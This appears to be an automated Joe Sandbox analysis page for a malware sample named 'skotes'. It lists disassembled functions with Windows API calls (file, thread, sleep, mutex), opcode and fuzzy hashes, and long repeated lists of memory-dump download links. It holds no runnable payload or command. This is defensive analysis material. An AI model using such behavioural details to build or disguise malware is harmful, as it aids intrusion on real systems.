Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 016f779381382de2fd339d78e87ddfa93b3733615a42071fc1d7202748f7de28
Instruction ID: 53dfd987798e7884413e271d2cb67a6c4c895625ccf169815fefd82e0b783a9a
Opcode Fuzzy Hash: 016f779381382de2fd339d78e87ddfa93b3733615a42071fc1d7202748f7de28
Instruction Fuzzy Hash: CAE10770E14244ABDF15BB6CCD073AE7A61AB82724F94468CE419673C2DF758F818BC2

Function 009D1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009D1775: CreateFileW.KERNEL32(00000000,00000000,?,009D1B65,?,?,00000000,?,009D1B65,00000000,0000000C), ref: 009D1792

__dosmaperr.LIBCMT ref: 009D1BD7
GetFileType.KERNEL32(00000000), ref: 009D1BE3
__dosmaperr.LIBCMT ref: 009D1BF6
__dosmaperr.LIBCMT ref: 009D1D9C

Strings

H, xrefs: 009D1D21

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: f83110141c93db90c3c77dd82fc1c766b5823853b949c1faf9ec90f8fbe956b1
Instruction ID: 482690c9f264e5fd2726e1447ef2eae3f5612c0ed250a04c37a08d19d50536a2
Opcode Fuzzy Hash: f83110141c93db90c3c77dd82fc1c766b5823853b949c1faf9ec90f8fbe956b1
Instruction Fuzzy Hash: 4CA15732A542486FCF19DF78DC51BAE3BA5AB46324F28414EF841AB3D1DB359C12CB52

Function 00997590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,64C8DA1E,?,00000000,009D9138,000000FF), ref: 009975CC
CreateThread.KERNEL32(00000000,00000000,00997430,009F8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 009976BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 009976C9

Part of subcall function 009AD0C7: RtlWakeAllConditionVariable.NTDLL ref: 009AD17B

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 7a7434eeaaa57d231db2012e8092dcfc8548f5d11676f45049ba02a88fde6a39
Instruction ID: bae5472dd752f97d999fea956ece1ea360271cf85bfb1e3a3576cb12b6e3c14d
Opcode Fuzzy Hash: 7a7434eeaaa57d231db2012e8092dcfc8548f5d11676f45049ba02a88fde6a39
Instruction Fuzzy Hash: 5F51F170225248ABEF58DF68CC85FAE7BA5EB85308F504619F915CB3D1CB7AD480CB91

Function 009C6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,009C6EE6), ref: 009C6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 009C7030
__dosmaperr.LIBCMT ref: 009C70C5

Part of subcall function 009C732A: __dosmaperr.LIBCMT ref: 009C735F

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: ce729ce212ee7a8b0724339b03262cc39c508925b6601cc1446665e204ecd933
Instruction ID: 04b505911f278c358bebb82aad0345f73687d30b961a1642fb88213c6d2f72f0
Opcode Fuzzy Hash: ce729ce212ee7a8b0724339b03262cc39c508925b6601cc1446665e204ecd933
Instruction Fuzzy Hash: C6414CB1904204AFDB24EFB5DC41EABF7F9EF89300B14492DF856D3251EA349901CB62

Function 00999BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00999BA8
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c87b043e4d0c8a1bd54ad578473ee6a14b942ceb6dc29843dd1bfba3db6fa859
Instruction ID: 2742f10120537d484d96f41a17591aa5d2c1bda143ac8c1c47643b6e1eac2993
Opcode Fuzzy Hash: c87b043e4d0c8a1bd54ad578473ee6a14b942ceb6dc29843dd1bfba3db6fa859
Instruction Fuzzy Hash: FC316D71A042008BEF08DB7CECC976EB766EFC2314F24821CE058977D5D77A998187A2

Function 00999CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00999CDD
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: f1889e6d78d5240567e22e883d6d1aa856c194e02aa99109103a48dc768a0ad5
Instruction ID: ce13cf016f18142261d238ec8a652deed2e2ddf3add835a952d15839c2a2fb2c
Opcode Fuzzy Hash: f1889e6d78d5240567e22e883d6d1aa856c194e02aa99109103a48dc768a0ad5
Instruction Fuzzy Hash: 7D3159716042408BEF18DB7CDCC87ADB766EFC6314F24861CE018A77D5C73A999087A2

Function 00999F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00999F47
Sleep.KERNEL32(00000064,?), ref: 0099A963
CreateMutexA.KERNEL32(00000000,00000000,009F3254), ref: 0099A981

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
